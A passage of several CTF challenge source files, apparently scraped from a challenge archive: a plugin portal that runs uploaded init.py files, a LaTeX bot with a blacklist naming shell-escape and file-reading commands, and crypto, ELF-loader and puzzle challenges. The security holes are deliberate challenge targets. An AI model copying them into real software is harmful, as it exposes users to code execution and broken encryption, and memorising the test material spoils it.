BASE_DIR = "/opt/app"
PLUGINS_DIR = os.path.join(BASE_DIR, "plugins")
REGISTRY_PATH = os.path.join(BASE_DIR, "plugins.json")
LOG_PATH = os.path.join(BASE_DIR, "app.log")
STORE_DIR = os.path.join(BASE_DIR, "store")
os.makedirs(PLUGINS_DIR, exist_ok=True)
os.makedirs(STORE_DIR, exist_ok=True)
FLAG_ID = ""
if not os.path.exists(REGISTRY_PATH):
with open(REGISTRY_PATH, "w") as f:
json.dump([], f)
def log(msg):
ts = time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
with open(LOG_PATH, "a") as f:
f.write(f"{ts} {msg}\n")
def load_registry():
with open(REGISTRY_PATH) as f:
return json.load(f)
def save_registry(data):
with open(REGISTRY_PATH, "w") as f:
json.dump(data, f)
@app.get("/health")
def health():
return jsonify({"status":"ok"})
@app.get("/api/products")
def products():
data = [
{"id": 1, "name": "Alpha Phone", "category": "Electronics", "price": 699.0},
{"id": 2, "name": "Beta Tablet", "category": "Electronics", "price": 499.0},
{"id": 3, "name": "Gamma Laptop", "category": "Electronics", "price": 1299.0},
{"id": 4, "name": "Delta Headphones", "category": "Accessories", "price": 199.0},
{"id": 5, "name": "Epsilon Mouse", "category": "Accessories", "price": 49.0},
{"id": 6, "name": "Zeta Keyboard", "category": "Accessories", "price": 89.0},
{"id": 7, "name": "Eta Coffee Maker", "category": "Home Appliances", "price": 149.0},
{"id": 8, "name": "Theta Blender", "category": "Home Appliances", "price": 99.0},
{"id": 9, "name": "Iota Desk Chair", "category": "Furniture", "price": 259.0},
{"id": 10, "name": "Kappa Desk", "category": "Furniture", "price": 399.0},
{"id": 11, "name": "Lambda Sofa", "category": "Furniture", "price": 899.0},
{"id": 12, "name": "Mu Jacket", "category": "Clothing", "price": 129.0},
{"id": 13, "name": "Nu Sneakers", "category": "Clothing", "price": 89.0},
{"id": 14, "name": "Xi Jeans", "category": "Clothing", "price": 59.0},
{"id": 15, "name": "Omicron Watch", "category": "Luxury", "price": 2499.0}
]
return jsonify({"items": data})
@app.get("/widget/<uid>/<path:filename>")
def widget_file(uid, filename):
plugin_dir = os.path.join(PLUGINS_DIR, uid)
return send_from_directory(plugin_dir, filename)
@app.get("/")
def dashboard():
items = load_registry()
log(items)
cards = []
for it in items:
uid = it.get("uid")
name = html.escape(it.get("name", "unknown"))
version = html.escape(it.get("version", ""))
author = html.escape(it.get("author", ""))
icon = html.escape(it.get("icon", ""))
icon_html = f'<img src="/widget/{uid}/{icon}" alt="{name}" class="card-icon">' if icon else ""
cards.append(f"""
<div class="card">
{icon_html}
<h3 class="card-title"><a class="link" href="{url_for('widget_page', uid=uid)}">{name}</a></h3>
<p class="meta"><span class="label">Version</span><span class="value">{version}</span></p>
<p class="meta"><span class="label">Author</span><span class="value">{author}</span></p>
</div>
""")
cards_html = "\n".join(cards) if cards else "<p class='empty'>No widgets yet. Upload one or unlock the store.</p>"
has_plugins = len(items) > 2
store_entries = []
if has_plugins:
try:
for fname in sorted(os.listdir(STORE_DIR)):
if fname.endswith(".plugin"):
safe_name = html.escape(fname)
store_entries.append(f"""
<div class="card store-card">
<h3 class="card-title">{safe_name}</h3>
<a class="btn" href="{url_for('store_download', filename=fname)}">Download</a>
</div>
""")
except Exception as e:
log(f"store_list_error err={e}")
store_html = ""
if has_plugins:
store_block = "\n".join(store_entries) if store_entries else "<p class='empty'>Refresh. Something's off.</p>"
store_html = f"""
<h2 class="section">Store</h2>
<div class="cards">{store_block if has_plugins else "<p class='locked'>Sharing is caring. Upload at least one plugin to access the community vault.</p>"}</div>
"""
return f"""<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>VC Portal</title>
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
:root {{
--bg:#070311;
--grid1:#1a0f3b;
--grid2:#0c0520;
--neon1:#00f0ff;
--neon2:#ff00e6;
--neon3:#39ff14;
--panel:#0e0726;
--text:#e8e8ff;
--muted:#9aa0ff;
--border:rgba(255,255,255,0.12);
}}
* {{ box-sizing:border-box }}
html,body {{ height:100% }}
body {{
margin:0;
font-family:"Press Start 2P", system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif;
color:var(--text);
background:
radial-gradient(1200px 600px at 50% -200px, rgba(255,0,204,0.15), transparent 60%),
linear-gradient(180deg, rgba(0,0,0,0.6), rgba(0,0,0,0.6)),
repeating-linear-gradient(0deg, var(--grid2), var(--grid2) 2px, var(--grid1) 2px, var(--grid1) 4px),
radial-gradient(circle at 50% 120%, #120634, #070311 60%);
overflow-x:hidden;
}}
.crt {{
position:fixed; inset:0; pointer-events:none; mix-blend-mode:overlay;
background: repeating-linear-gradient(180deg, rgba(255,255,255,0.05) 0px, rgba(255,255,255,0.05) 1px, transparent 2px, transparent 4px);
animation: flicker 3s infinite;
}}
@keyframes flicker {{
0% {{ opacity:.15 }}
50% {{ opacity:.2 }}
100% {{ opacity:.15 }}
}}
.container {{ max-width:1200px; margin:0 auto; padding:24px }}
.title {{
font-size:28px; line-height:1.2; letter-spacing:2px; text-transform:uppercase; margin:0 0 8px;
text-shadow:0 0 8px var(--neon1), 0 0 16px var(--neon2);
}}
.subtitle {{ margin:0 0 20px; font-size:12px; color:var(--muted) }}
.panel {{
background: linear-gradient(180deg, rgba(255,255,255,0.03), rgba(255,255,255,0.01));
border:1px solid var(--border);
border-radius:14px;
padding:16px;
box-shadow: 0 0 20px rgba(0,255,255,0.08), inset 0 0 30px rgba(255,0,255,0.05);
backdrop-filter: blur(4px);
}}
form.upload {{ display:flex; gap:12px; align-items:center; flex-wrap:wrap; margin-bottom:18px }}
input[type="file"] {{
appearance:none;
background:var(--panel);
border:1px dashed rgba(255,255,255,0.25);
border-radius:10px;
padding:10px 12px;
color:var(--text);
max-width:100%;
}}
.btn {{
display:inline-block; padding:10px 16px; border-radius:12px; text-decoration:none; font-size:12px;
border:1px solid rgba(255,255,255,0.25);
background: radial-gradient(120% 120% at 0% 0%, rgba(0,240,255,0.25), rgba(255,0,230,0.25));
box-shadow: 0 0 12px rgba(0,240,255,0.35), inset 0 0 10px rgba(255,0,230,0.25);
color:var(--text);
transition: transform .08s ease, box-shadow .2s ease, filter .2s ease;
}}
.btn:hover {{ transform: translateY(-2px); box-shadow: 0 8px 18px rgba(0,240,255,0.45) }}
.btn:active {{ transform: translateY(0) scale(.99) }}
.section {{ margin:24px 0 12px; text-shadow:0 0 6px var(--neon3) }}
.cards {{ display:flex; flex-wrap:wrap; gap:14px }}
.card {{
width:220px;
background: linear-gradient(180deg, rgba(10,4,32,0.9), rgba(6,3,20,0.9));
border:1px solid rgba(0,240,255,0.25);
border-radius:16px;
padding:14px;
box-shadow: 0 0 12px rgba(0,240,255,0.15), inset 0 0 20px rgba(255,0,230,0.05);
transition: transform .12s ease, box-shadow .2s ease, filter .2s ease;
text-align:center;
}}
.card:hover {{ transform: translateY(-4px); box-shadow: 0 10px 24px rgba(255,0,230,0.25), 0 0 24px rgba(0,240,255,0.25) }}
.card-icon {{ width:64px; height:64px; object-fit:contain; display:block; margin:4px auto 8px; image-rendering: pixelated }}
.card-title {{ margin:6px 0 8px; font-size:12px; min-height:28px }}
.meta {{ display:flex; justify-content:space-between; font-size:10px; color:var(--muted); margin:4px 0 }}
.label {{ opacity:.8 }}
.value {{ color:var(--text) }}
.link {{ color:var(--neon1); text-decoration:none }}
.link:hover {{ text-shadow:0 0 8px var(--neon1) }}
.empty, .locked {{ color:var(--muted); font-size:12px }}
.grid {{
position:fixed; inset:0; z-index:-1; perspective:600px; opacity:.6;
background:
linear-gradient(transparent 0 70%, rgba(0,0,0,0.6)),
repeating-linear-gradient(0deg, transparent, transparent 38px, rgba(0,240,255,0.12) 39px, rgba(0,240,255,0.12) 40px),
repeating-linear-gradient(90deg, transparent, transparent 38px, rgba(255,0,230,0.12) 39px, rgba(255,0,230,0.12) 40px);
transform: rotateX(60deg) translateY(25vh) scale(1.2);
filter: drop-shadow(0 0 10px rgba(0,240,255,0.35));
}}
.topbar {{
display:flex; align-items:center; justify-content:space-between; gap:12px; flex-wrap:wrap; margin-bottom:18px
}}
.tagline {{ font-size:10px; color:var(--muted) }}
.mono {{ font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; font-size:10px; color:var(--muted) }}
@media (max-width:560px) {{
.card {{ width:100% }}
.title {{ font-size:22px }}
.subtitle {{ font-size:11px }}
}}
</style>
</head>
<body>
<div class="grid"></div>
<div class="crt"></div>
<div class="container">
<div class="topbar">
<div>
<h1 class="title">VC Portal</h1>
<p class="tagline">Upload arcade-grade analytics widgets. Feed them with <span class="mono">/api/products</span>.</p>
</div>
</div>
<div class="panel">
<form class="upload" action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" accept=".zip,.plugin">
<button class="btn" type="submit">Insert Coin</button>
</form>
</div>
<h2 class="section">Widgets</h2>
<div class="cards">{cards_html}</div>
{store_html}
</div>
</body>
</html>"""
KEY = b"SECRET_KEY!123456XXXXXXXXXXXXXXX"
def decrypt_file(input_path, output_path, key):
with open(input_path, "rb") as f:
data = f.read()
iv = data[:16]
ciphertext = data[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
with open(output_path, "wb") as f:
f.write(plaintext)
@app.get("/store/download/<path:filename>")
def store_download(filename):
items = load_registry()
return send_from_directory(STORE_DIR, filename, as_attachment=True) if len(items)>2 else "try harder"
@app.get("/widget/<uid>")
def widget_page(uid):
plugin_dir = os.path.join(PLUGINS_DIR, uid)
index_html = os.path.join(plugin_dir, "index.html")
if not os.path.exists(index_html):
message = "missing index.html"
return jsonify({"error":message}), 404
return send_from_directory(plugin_dir, "index.html")
@app.post("/upload")
def upload():
if "file" not in request.files:
return jsonify({"error":"missing file"}), 400
f = request.files["file"]
if not f.filename.endswith(".plugin"):
return jsonify({"error":".plugin file required"}), 400
uid = str(uuid.uuid4())
plugin_dir = os.path.join(PLUGINS_DIR, uid)
os.makedirs(plugin_dir, exist_ok=True)
enc_path = os.path.join(plugin_dir, f.filename)
f.save(enc_path)
dec_zip_path = os.path.join(plugin_dir, "plugin.zip")
try:
decrypt_file(enc_path, dec_zip_path, KEY)
except Exception as e:
log(f"decrypt_error uid={uid} err={e}")
return jsonify({"error":"decryption failed"}), 400
try:
with zipfile.ZipFile(dec_zip_path, "r") as z:
z.extractall(plugin_dir)
except Exception as e:
log(f"extract_error uid={uid} err={e}")
return jsonify({"error":"bad zip"}), 400
manifest_path = os.path.join(plugin_dir, "plugin_manifest.json")
init_py = os.path.join(plugin_dir, "init.py")
manifest = {}
if os.path.exists(manifest_path):
with open(manifest_path, "r") as mf:
manifest = json.load(mf)
try:
name = manifest.get("name")
version = manifest.get("version")
author = manifest.get("author")
icon = manifest["icon"]
except Exception as e:
log(f"extract_error uid={uid} err={e}")
return jsonify({"error":"bad manifest"}), 400
reg = load_registry()
reg.append({
"uid": uid,
"name": name,
"version": version,
"author": author,
"icon": icon
})
save_registry(reg)
log(f"plugin_registered uid={uid} name={name} version={version} author={author} icon={icon}")
try:
log(f"executing_plugin uid={uid} path={init_py}")
r = subprocess.run(["python","init.py"], cwd=plugin_dir, capture_output=True, text=True, timeout=30)
global FLAG_ID
FLAG_ID = uid
log(f"plugin_stdout uid={uid} out={r.stdout.strip()}")
log(f"plugin_stderr uid={uid} err={r.stderr.strip()}")
except Exception as e:
log(f"exec_error uid={uid} err={e}")
return redirect(url_for("dashboard"))
if __name__ == "__main__":
import threading
import time
import requests
def delayed_upload(plugin):
time.sleep(5)
try:
files = {'file': (f'{plugin}.plugin', open(f'{STORE_DIR}/{plugin}.plugin', 'rb'))}
response = requests.post("http://localhost:8080/upload", files=files)
except Exception as e:
print("Upload failed:", e)
threading.Thread(target=delayed_upload, args=("graph",)).start()
threading.Thread(target=delayed_upload, args=("flag",)).start()
app.run(host="0.0.0.0", port=8080)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/misc/Modern_Latex/latexbot.py | ctfs/squ1rrel/2024/misc/Modern_Latex/latexbot.py | #!/usr/bin/env python
import discord
import urllib.request
import random
import os
import json
import shutil
import asyncio
import sys
import chanrestrict
LATEX_TEMPLATE="template.tex"
blacklist = ["\\input", "\\include", "\\lstinputlisting", "\\usepackage", "\\verbatiminput", "\\openin", "\\newread", "\\read", "\\open", "\\write18"]
HELP_MESSAGE = r"""
Hello! I'm the *LaTeX* math bot!
You can type mathematical *LaTeX* into the chat and I'll automatically render it!
Simply use the `!tex` command.
**Examples**
`!tex x = 7`
`!tex \sqrt{a^2 + b^2} = c`
`!tex \int_0^{2\pi} \sin{(4\theta)} \mathrm{d}\theta`
**Notes**
Using the `\begin` or `\end` in the *LaTeX* will probably result in something failing.
https://github.com/DXsmiley/LatexBot
"""
class LatexBot(discord.Client):
#TODO: Check for bad token or login credentials using try catch
def __init__(self):
intents = discord.Intents.all()
super().__init__(intents=intents)
self.check_for_config()
self.settings = json.loads(open('settings.json').read())
# Quick and dirty defaults of colour settings, if not already present in the settings
if 'latex' not in self.settings:
self.settings['latex'] = {
'background-colour': '36393E',
'text-colour': 'DBDBDB',
'dpi': '200'
}
chanrestrict.setup(self.settings['channels']['whitelist'],
self.settings['channels']['blacklist'])
# Check if user is using a token or login
if self.settings['login_method'] == 'token':
self.run(self.settings['login']['token'])
elif self.settings['login_method'] == 'account':
self.login(self.settings['login']['email'], self.settings['login']['password'])
self.run()
else:
raise Exception('Bad config: "login_method" should set to "login" or "token"')
# Check that config exists
def check_for_config(self):
if not os.path.isfile('settings.json'):
shutil.copyfile('settings_default.json', 'settings.json')
print('Now you can go and edit `settings.json`.')
print('See README.md for more information on these settings.')
def vprint(self, *args, **kwargs):
if self.settings.get('verbose', False):
print(*args, **kwargs)
# Outputs bot info to user
@asyncio.coroutine
def on_ready(self):
print('------')
print('Logged in as')
print(self.user.name)
print(self.user.id)
print('------')
async def on_message(self, message):
if chanrestrict.check(message):
msg = message.content
for c in self.settings['commands']['render']:
if msg.startswith(c):
latex = msg[len(c):].strip()
for b in blacklist:
if b in latex:
await message.channel.send('Blacklisted command detected. :frowning:')
return
self.vprint('Latex:', latex)
num = str(random.randint(0, 2 ** 31))
fn = self.generate_image(latex, num)
if fn and os.path.getsize(fn) > 0:
await message.channel.send(file=discord.File(fn))
self.cleanup_output_files(num)
self.vprint('Success!')
else:
await message.channel.send('Something broke. Check the syntax of your message. :frowning:')
self.cleanup_output_files(num)
self.vprint('Failure.')
break
if msg in self.settings['commands']['help']:
self.vprint('Showing help')
await self.send_message(message.author, HELP_MESSAGE)
# Generate LaTeX locally. Is there such things as rogue LaTeX code?
def generate_image(self, latex, name):
latex_file = name + '.tex'
dvi_file = name + '.dvi'
png_file = name + '1.png'
with open(LATEX_TEMPLATE, 'r') as textemplatefile:
textemplate = textemplatefile.read()
with open(latex_file, 'w') as tex:
backgroundcolour = self.settings['latex']['background-colour']
textcolour = self.settings['latex']['text-colour']
latex = textemplate.replace('__DATA__', latex).replace('__BGCOLOUR__', backgroundcolour).replace('__TEXTCOLOUR__', textcolour)
tex.write(latex)
tex.flush()
tex.close()
imagedpi = self.settings['latex']['dpi']
latexsuccess = os.system('latex -quiet -interaction=nonstopmode ' + latex_file)
if latexsuccess == 0:
os.system('dvipng -q* -D {0} -T tight '.format(imagedpi) + dvi_file)
return png_file
else:
return ''
# Removes the generated output files for a given name
def cleanup_output_files(self, outputnum):
try:
os.remove(outputnum + '.tex')
os.remove(outputnum + '.dvi')
os.remove(outputnum + '.aux')
os.remove(outputnum + '.log')
os.remove(outputnum + '1.png')
except OSError:
pass
if __name__ == "__main__":
LatexBot()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/rev/bf_golfing/server.py | ctfs/squ1rrel/2024/rev/bf_golfing/server.py | def run_brainfuck(code):
if len(code) > 90:
return "Error: Code length exceeds 90 characters."
tape = [0] * 30000
ptr = 0
code_ptr = 0
output = []
brackets = []
max_steps = 200000
step_count = 0
while code_ptr < len(code) and step_count < max_steps:
command = code[code_ptr]
if command == '>':
ptr += 1
elif command == '<':
ptr -= 1
elif command == '+':
tape[ptr] = (tape[ptr] + 1) % 256
elif command == '-':
tape[ptr] = (tape[ptr] - 1) % 256
elif command == '.':
output.append(chr(tape[ptr]))
elif command == '[':
if tape[ptr] == 0:
depth = 1
while depth and code_ptr < len(code):
code_ptr += 1
if code[code_ptr] == '[':
depth += 1
elif code[code_ptr] == ']':
depth -= 1
else:
brackets.append(code_ptr)
elif command == ']':
if tape[ptr] != 0:
code_ptr = brackets[-1]
else:
brackets.pop()
code_ptr += 1
step_count += 1
if step_count >= max_steps:
return None # Indicate that the program was terminated due to too many steps
return ''.join(output)
print("how well can you read and write code now?")
bf_code = input()
expected_output = 'squ1rrel{es0g01f}'
actual_output = run_brainfuck(bf_code)
if expected_output != actual_output:
print("does your brain hurt yet?")
exit(1)
else:
print("squ1rrel{test_flag}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/crypto/Squ1rrel_Lottery/squ1rrel-lottery.py | ctfs/squ1rrel/2024/crypto/Squ1rrel_Lottery/squ1rrel-lottery.py | import random
# user version
def input_lines():
lines = []
print("Welcome to the squ1rrel lottery! 9 winning numbers will be selected, and if any of your tickets share 3 numbers with the winning ticket you'll win! Win 1000 times in a row to win a flag")
for i in range(1, 41):
while True:
line = input(f"Ticket {i}: ").strip()
numbers = line.split()
if len(numbers) != 9:
print("Please enter 9 numbers")
continue
try:
numbers = [int(num) for num in numbers]
if not all(1 <= num <= 60 for num in numbers):
print("Numbers must be between 1 and 60")
continue
lines.append(set(numbers))
break
except ValueError:
print("Please enter only integers.")
return lines
user_tickets = input_lines()
wincount = 0
for j in range(1000):
winning_ticket = random.sample(range(1, 61), 9)
win = False
for i in user_tickets:
if len(i.intersection(set(winning_ticket))) >= 3:
print(f'Win {j}!')
win = True
wincount += 1
break
if not win:
print("99 percent of gamblers quit just before they hit it big")
break
if wincount == 1000:
print("squ1rrelctf{test_flag}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/crypto/squ1rrel_treasury/chall.py | ctfs/squ1rrel/2024/crypto/squ1rrel_treasury/chall.py | from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.strxor import strxor
from Crypto.Cipher import AES
import os
from secrets import KEY, FLAG
import random
ACCOUNT_NAME_CHARS = set([chr(i) for i in range(ord('a'), ord('z')+1)] + [chr(i) for i in range(ord('A'), ord('Z')+1)])
FLAG_COST = random.randint(10**13, 10**14-1)
def blockify(text: str, block_size: int):
return [text[i:i+block_size] for i in range(0, len(text), block_size)]
def pad(blocks: list, pad_char: chr, size: int):
padded = []
for block in blocks:
tmp = block
if len(block) < size:
tmp = tmp + pad_char*(size-len(tmp))
elif len(block) > size:
print("Inconsistent block size in pad")
exit(1)
padded.append(tmp)
return padded
class Account:
def __init__(self, iv: bytes, name: str, balance: int):
self.__iv = iv
self.__name = name
self.__balance = balance
def getIV(self):
return self.__iv
def getName(self):
return self.__name
def getBalance(self):
return self.__balance
def setBalance(self, new_balance):
self.__balance = new_balance
def getKey(self):
save = f"{self.__name}:{self.__balance}".encode()
blocks = blockify(save, AES.block_size)
pblocks = pad(blocks, b'\x00', AES.block_size)
cipher = AES.new(KEY, AES.MODE_ECB)
ct = []
for i, b in enumerate(pblocks):
if i == 0:
tmp = strxor(b, self.__iv)
ct.append(cipher.encrypt(tmp))
else:
tmp = strxor(strxor(ct[i-1], pblocks[i-1]), b)
ct.append(cipher.encrypt(tmp))
ct_str = f"{self.__iv.hex()}:{(b''.join(ct)).hex()}"
return ct_str
def load(key: str):
key_split = key.split(':')
iv = bytes.fromhex(key_split[0])
ct = bytes.fromhex(key_split[1])
cipher = AES.new(KEY, AES.MODE_ECB)
pt = blockify(cipher.decrypt(ct), AES.block_size)
ct = blockify(ct, AES.block_size)
for i, p in enumerate(pt):
if i == 0:
pt[i] = strxor(p, iv)
else:
pt[i] = strxor(strxor(ct[i-1], pt[i-1]), p)
pt = b''.join(pt)
pt_split = pt.split(b':')
try:
name = pt_split[0].decode()
except Exception:
name = "ERROR"
balance = int(pt_split[1].strip(b'\x00').decode())
return Account(iv, name, balance)
def accountLogin():
print("\nPlease provide your account details.")
account = input("> ").strip()
account = Account.load(account)
print(f"\nWelcome {account.getName()}!")
while True:
print("What would you like to do?")
print("0 -> View balance")
print(f"1 -> Buy flag ({FLAG_COST} acorns)")
print("2 -> Save")
opt = int(input("> ").strip())
if opt == 0:
print(f"Balance: {account.getBalance()} acorns\n")
elif opt == 1:
if account.getBalance() < FLAG_COST:
print("Insufficient balance.\n")
else:
print(f"Flag: {FLAG}\n")
account.setBalance(account.getBalance()-FLAG_COST)
elif opt == 2:
print(f"Save key: {account.getKey()}\n")
break
def accountNew():
print("\nWhat would you like the account to be named?")
account_name = input("> ").strip()
dif = set(account_name).difference(ACCOUNT_NAME_CHARS)
if len(dif) != 0:
print(f"Invalid character(s) {dif} in name, only letters allowed!")
print("Returning to main menu...\n")
return
account_iv = os.urandom(16)
account = Account(account_iv, account_name, 0)
print(f"Wecome to Squirrel Treasury {account.getName()}")
print(f"Here is your account key: {account.getKey()}\n")
if __name__ == "__main__":
while True:
print(r"""
β β β β β β β β’β£β£€β£β£β β β
β β β β β β β β β β£β β’΄β£Άβ ⒢⣦β β’β£β β β’Ύβ£Ώβ Ώβ Ώβ Ώβ Ώβ’¦β β ___ __ _ _ _/ |_ __ _ __ ___| |
β β β β β β β β β Ίβ Ώβ β’Έβ£Ώβ£β β£Ώβ£β β£Ώβ‘β β£β‘β β β β β β β / __|/ _` | | | | | '__| '__/ _ \ |
β β β β β β β’⣴⣢⣢⣀β£β‘β β β’Ήβ£Ώβ‘β’Ήβ£Ώβ‘β’»β£§β β‘β β β β β \__ \ (_| | |_| | | | | | | __/ |
β β β β β β£°β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Άβ£€β‘β β β£Ώβ£§β β’Ώβ‘β Έβ‘β β β β |___/\__, |\__,_|_|_| |_| \___|_|
β β β β ⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦β£β β’β β£Ώβ‘β’»β β β β |_|
β β β β’β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£·β£β β Ήβ£§β β β β β _____
β β β β£Έβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£·β£β β β β β β /__ \_ __ ___ __ _ ___ _ _ _ __ ___ _ _
β β β β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ β β β β β / /\/ '__/ _ \/ _` / __| | | | '__/ _ \ | | |
β β β β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ β β β β β β / / | | | __/ (_| \__ \ |_| | | | __/ |_| |
β β β β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ‘Ώβ β β β β β β β \/ |_| \___|\__,_|___/\__,_|_| \___|\__, |
β β β β’Ήβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ‘Ώβ β β β β β β β β β |___/
β β β β β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ‘Ώβ β β β β β β β β β β β β
β β β β’ β£Ώβ£Ώβ Ώβ Ώβ Ώβ Ώβ Ώβ Ώβ β β β β β β β β β β β β β β β β β β β β β β β β β β β β β
""")
print("Welcome to squ1rrel Treasury! What would you like to do?")
print("0 -> Login")
print("1 -> Create new account")
opt = int(input("> ").strip())
if opt == 0:
accountLogin()
elif opt == 1:
accountNew()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/misc/Minesweeeeper/minesweeper.py | ctfs/squ1rrel/2025/misc/Minesweeeeper/minesweeper.py | import random
from itertools import product
from collections import deque
dims = [20, 20, 5, 5]
mine_count = 800
size = len(dims)
def neighbors(cell, dim_sizes):
result = []
for offset in product([-1, 0, 1], repeat=size):
if any(offset):
new_cell = tuple(cell[i] + offset[i] for i in range(size))
if all(0 <= new_cell[i] < dim_sizes[i] for i in range(size)):
result.append(new_cell)
return result
def bordering_mines(cell, dim_sizes, mine_set):
return sum(n in mine_set for n in neighbors(cell, dim_sizes))
all_coords = [tuple(x) for x in product(*(range(d) for d in dims))]
mines = set(random.sample(all_coords, mine_count))
revealed = set()
def reveal(start):
queue = deque([start])
newly_revealed = []
while queue:
current = queue.popleft()
if current in revealed:
continue
revealed.add(current)
newly_revealed.append(current)
if bordering_mines(current, dims, mines) == 0:
for nbr in neighbors(current, dims):
if nbr not in revealed:
queue.append(nbr)
return newly_revealed
while True:
pt = tuple(map(int, input("Enter points (space-separated): ").split()))
if (len(pt) != size) or any(not (0 <= pt[i] < dims[i]) for i in range(size)):
print(
f"Invalid input. Please enter coordinates within the grid dimensions: {dims}.")
continue
else:
if pt in mines:
print("BOOM! You hit a mine.")
break
if pt not in revealed:
new_cells = reveal(pt)
for c in new_cells:
print(c, "has", bordering_mines(
c, dims, mines), "bordering mine(s).")
if len(revealed) + len(mines) == len(all_coords):
print(
"You win! The flag is squ1rrel{minesweeper}")
break
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/fairy.py | ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/fairy.py | #!/usr/bin/python3
from elf import *
from base64 import b64decode
data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)
for section in elf.sections:
if section.sh_flags & SectionFlags.EXECINSTR:
raise ValidationException("!!")
elf.run()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/elf.py | ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/elf.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# mayhem/datatypes/elf.py
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of the project nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
